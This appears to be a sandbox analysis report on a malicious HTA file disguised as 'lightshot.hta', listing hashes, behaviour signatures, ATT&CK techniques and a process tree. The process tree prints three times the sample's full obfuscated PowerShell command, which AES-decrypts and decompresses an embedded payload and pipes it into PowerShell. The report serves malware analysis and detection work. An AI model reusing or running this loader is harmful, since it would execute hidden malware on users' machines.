109aac8fd1994e580398ee91fce9a9e1ef39873566e601106ce2ad6be29e06a6

General

Target

lightshot.hta
Size

54KB
MD5

d4a2eb2ca3c9c631d7fe24550901187f
SHA1

adce21df1542c8867a8d3ee867ad963671290a9c
SHA256

06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda
SHA512

68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9
SSDEEP

768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2084844033-2744876406-2053742436-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2752	powershell.exe
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 2416	1364	mshta.exe	28
PID 1364 wrote to memory of 2416	1364	mshta.exe	28
PID 1364 wrote to memory of 2416	1364	mshta.exe	28
PID 1364 wrote to memory of 2416	1364	mshta.exe	28
PID 2416 wrote to memory of 2724	2416	powershell.exe	30
PID 2416 wrote to memory of 2724	2416	powershell.exe	30
PID 2416 wrote to memory of 2724	2416	powershell.exe	30
PID 2416 wrote to memory of 2724	2416	powershell.exe	30
PID 2724 wrote to memory of 2752	2724	cmd.exe	32
PID 2724 wrote to memory of 2752	2724	cmd.exe	32
PID 2724 wrote to memory of 2752	2724	cmd.exe	32
PID 2724 wrote to memory of 2752	2724	cmd.exe	32
PID 2724 wrote to memory of 2272	2724	cmd.exe	33
PID 2724 wrote to memory of 2272	2724	cmd.exe	33
PID 2724 wrote to memory of 2272	2724	cmd.exe	33
PID 2724 wrote to memory of 2272	2724	cmd.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\lightshot.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2752
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BTVKK3BKSRZFWS4OKQ3G.temp

Filesize
7KB

MD5
946a7636a5f35163fb6100aeca1b989a

SHA1
6c6243f68820cdda9cd92d49cfadd0866732983c

SHA256
ae3453c8377ed232dc8322f88c7f5cf78a411de8e72c6dc22705675fcafefdc5

SHA512
1a6027ad1cd889a502788ecc8277310e86e1be810124e4977a609b573b4574502be87906eb0649c757a2102c7563efb3b14563cf6c4b1a9fc448734ba691f26b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
946a7636a5f35163fb6100aeca1b989a

SHA1
6c6243f68820cdda9cd92d49cfadd0866732983c

SHA256
ae3453c8377ed232dc8322f88c7f5cf78a411de8e72c6dc22705675fcafefdc5

SHA512
1a6027ad1cd889a502788ecc8277310e86e1be810124e4977a609b573b4574502be87906eb0649c757a2102c7563efb3b14563cf6c4b1a9fc448734ba691f26b

Download Submit
memory/2272-32-0x0000000071BF0000-0x000000007219B000-memory.dmp

Filesize
5.7MB

Download
memory/2272-30-0x0000000071BF0000-0x000000007219B000-memory.dmp

Filesize
5.7MB

Download
memory/2272-26-0x0000000002090000-0x00000000020D0000-memory.dmp

Filesize
256KB

Download
memory/2416-5-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2416-6-0x0000000072250000-0x00000000727FB000-memory.dmp

Filesize
5.7MB

Download
memory/2416-2-0x0000000072250000-0x00000000727FB000-memory.dmp

Filesize
5.7MB

Download
memory/2416-4-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2416-3-0x0000000072250000-0x00000000727FB000-memory.dmp

Filesize
5.7MB

Download
memory/2752-17-0x0000000071BF0000-0x000000007219B000-memory.dmp

Filesize
5.7MB

Download
memory/2752-20-0x0000000002760000-0x00000000027A0000-memory.dmp

Filesize
256KB

Download
memory/2752-23-0x0000000071BF0000-0x000000007219B000-memory.dmp

Filesize
5.7MB

Download
memory/2752-31-0x0000000071BF0000-0x000000007219B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing